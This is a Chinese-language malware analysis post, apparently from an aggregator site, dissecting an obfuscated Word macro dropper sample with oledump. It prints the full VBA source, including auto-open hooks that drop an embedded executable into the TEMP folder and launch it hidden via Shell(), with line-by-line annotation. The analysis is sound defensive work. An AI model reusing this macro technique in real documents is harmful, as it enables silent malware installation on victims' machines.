样本分析 | virus.office.obfuscated 宏分析

样本分析 | virus.office.obfuscated 宏分析_第1张图片
宏病毒

文件信息

类型:宏病毒
MD5:ab74ee2373229626fe368a83d98f2a47
病毒名:TrojanDownloader:Win32/Skidlo
文件大小:121Kb


宏病毒

宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。


分析过程

当拿到一个疑似恶意包含宏病毒的Word文档,可以利用Oledump.py分析文档中所包含的数据。通过分析数据,判断文件是不是包含宏。

oledump.py -v ab74ee2373229626fe368a83d98f2a47_3a81e0b834b112e803f407841fa4fbf90b5f7cd1



返回的数据如下:

 1:      114 '\x01CompObj'
 2:      284 '\x05DocumentSummaryInformation'
 3:      404 '\x05SummaryInformation'
 4:     8494 '1Table'
 5:    17159 'Data'
 6:      483 'Macros/PROJECT'
 7:       65 'Macros/PROJECTwm'
 8: M   1726 'Macros/VBA/Module1'
 9: M   4059 'Macros/VBA/ThisDocument'
10:     2998 'Macros/VBA/_VBA_PROJECT'
11:      563 'Macros/VBA/dir'
12:    76998 'ObjectPool/_1522685681/\x01Ole10Native'
13:        6 'ObjectPool/_1522685681/\x03ObjInfo'
14:     4142 'WordDocument'

从返回的结果来看,模块8和模块9包含了宏。

通过以下命令查看宏脚本,如下:

python oledump.py -s [模块索引] -v  ab74ee2373229626fe368a83d98f2a47_3a81e0b834b112e803f407841fa4fbf90b5f7cd1



模块8

Attribute VB_Name = "Module1"
Sub Lhgeg(Jbfw As Long)
ghe = 88
Dim Bhrwq As Long, Nhdw As Long
Nhdw = Jbfw + Timer
Bhrwq = Nhdw

Do While Timer < Bhrwq
gdye = 32 * 1 * 1 * 3 * 4 * 1 * 3
Loop
End Sub
Public Function Fatar(fje As String)
Dim rkw As Variant
rkw = Shell(fje, 0)
End Function



模块9

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    BHJAWD = "12j3k1j2h" & "asjdhgywq"
    HgrfFvsw
End Sub
Sub Workbook_Open()
    HgrfFvsw
End Sub
Sub HgrfFvsw()
    Hehebhd
End Sub
Sub Hehebhd()
Dim ggfdf As Boolean, HGYW As String, rtr As Integer
rtr = -24 + 23
HGFFD = "T" & "EM" & ""
HGFFD = HGFFD & "P"
ggfdf = False
On Error Resume Next
Dim WOIEW As String
TTGDFW = BygeSw(3 + 90 + rtr)
DFFVFE = Environ$(HGFFD) + TTGDFW
JIEKR = "." & "tmp"
FFDRRF = "" & ".rtf"
LQWDO = DFFVFE

FFFNNNF = LQWDO + "fhew" + FFDRRF
SSHHDD = DFFVFE & "hrbs" + FFDRRF
WOIEW = DFFVFE & "" & "t2" & JIEKR

VffGghw (FFFNNNF)
VffGghw (SSHHDD)

Module1.Lhgeg (2)
BHJASD = Chr(101 + 9)
BFYHJQW = "j1h2jg1hj2"
Set yGvdgw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
yGvdgw.Visible = ggfdf
yGvdgw.Documents.Open (FFFNNNF)
Module1.Lhgeg (2)
HYUASGD = Module1.Fatar(WOIEW)
Module1.Lhgeg (3)
yGvdgw.Quit
Set yGvdgw = Nothing
End Sub
Public Function BygeSw(wbrw As Integer)
    BygeSw = Chr(wbrw)
End Function
Public Function VffGghw(ghe As String)
    ActiveDocument.SaveAs FileName:=ghe, FileFormat:=6
End Function
Public Function Ftwfvs()
    Ftwfvs = "T" & "EM"
End Function
Sub Auto_Open()
    Hehebhd
End Sub


到了这一步,可以确认的是模块8、9中的VBA代码做了混淆。还有就是异常模块12,通过oledump.py -s [索引] 查看内容,从dump数据来看里面包含了一个PE文件。


样本分析 | virus.office.obfuscated 宏分析_第2张图片
模块9

关键部分,功能注释:

Dim ggfdf As Boolean
HGYW As String
rtr As Integer
rtr = -24 + 23 `-1`
HGFFD = "T" & "EM" & ""
HGFFD = HGFFD & "P"             注释`HGFFD = TEMP`
ggfdf = False
On Error Resume Next
Dim WOIEW As String
TTGDFW = BygeSw(3 + 90 + rtr)           注释`chr(92) = \`
DFFVFE = Environ$(HGFFD) + TTGDFW
JIEKR = "." & "tmp"
FFDRRF = "" & ".rtf"
LQWDO = DFFVFE              注释`\TEMP\`

FFFNNNF = LQWDO + "fhew" + FFDRRF           注释`\TEMP\fhew.rtf`
SSHHDD = DFFVFE & "hrbs" + FFDRRF           注释`\TEMP\hrbs.rtf`
WOIEW = DFFVFE & "" & "t2" & JIEKR          注释`\TEMP\t2.tmp`

VffGghw (FFFNNNF)           注释`\TEMP\fhew.rtf` 保存文件
VffGghw (SSHHDD)            注释`\TEMP\hrbs.rtf` 保存文件

Module1.Lhgeg (2)           注释 干扰
BHJASD = Chr(101 + 9)
BFYHJQW = "j1h2jg1hj2"          注释 干扰
Set yGvdgw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)             注释`Word.Applicaton`
yGvdgw.Visible = ggfdf
yGvdgw.Documents.Open (FFFNNNF) 注释 `打开\TEMP\fhew.rtf`
Module1.Lhgeg (2)
HYUASGD = Module1.Fatar(WOIEW)  注释 `打开\TEMP\t2.tmp`
Module1.Lhgeg (3)
yGvdgw.Quit



宏行为:
1.混淆拼接字符路径:TEMP\fhew.rtf、TEMP\hrbs.rtf、TEMP\t2.tmp
2.ActiveDocument.SaveAs将当前打开的word文档另存为两个RTF文件,路径如上述
3.用CreateObject(“Word.Application”) and Document.Open打开 fhew.rtf
4.通过shell()执行包含在模块12中的PE,其文件名为t2.tmp

其中模块12中的包含的PE是以OLE对象的形式嵌入在内。看了下网上的说明,“0200” 是 OLE 数据头签名,而“00000300” 表示的是该对象是个嵌入式对象。

样本分析 | virus.office.obfuscated 宏分析_第3张图片
头部

之前已经有人说过了,这类攻击主要是通过RTF文档将附加的文件释放到用户的临时目录中,随后在通过各种手段将释放出来的恶意程序执行。而这个样本就是利用RTF会释放临时文件的特性来释放t2.tmp, 随后通过shell()将该恶意程序执行起来。

通过识别模块12中到PE文件,将其dump出来。

样本分析 | virus.office.obfuscated 宏分析_第4张图片
PE信息

相关连接:

一个“特别”的Word宏病毒深度分析
http://www.freebuf.com/articles/system/103309.html

释放文件到临时文件夹中所引发的安全问题
http://www.freebuf.com/articles/terminal/96863.html

你可能感兴趣的:(样本分析 | virus.office.obfuscated 宏分析)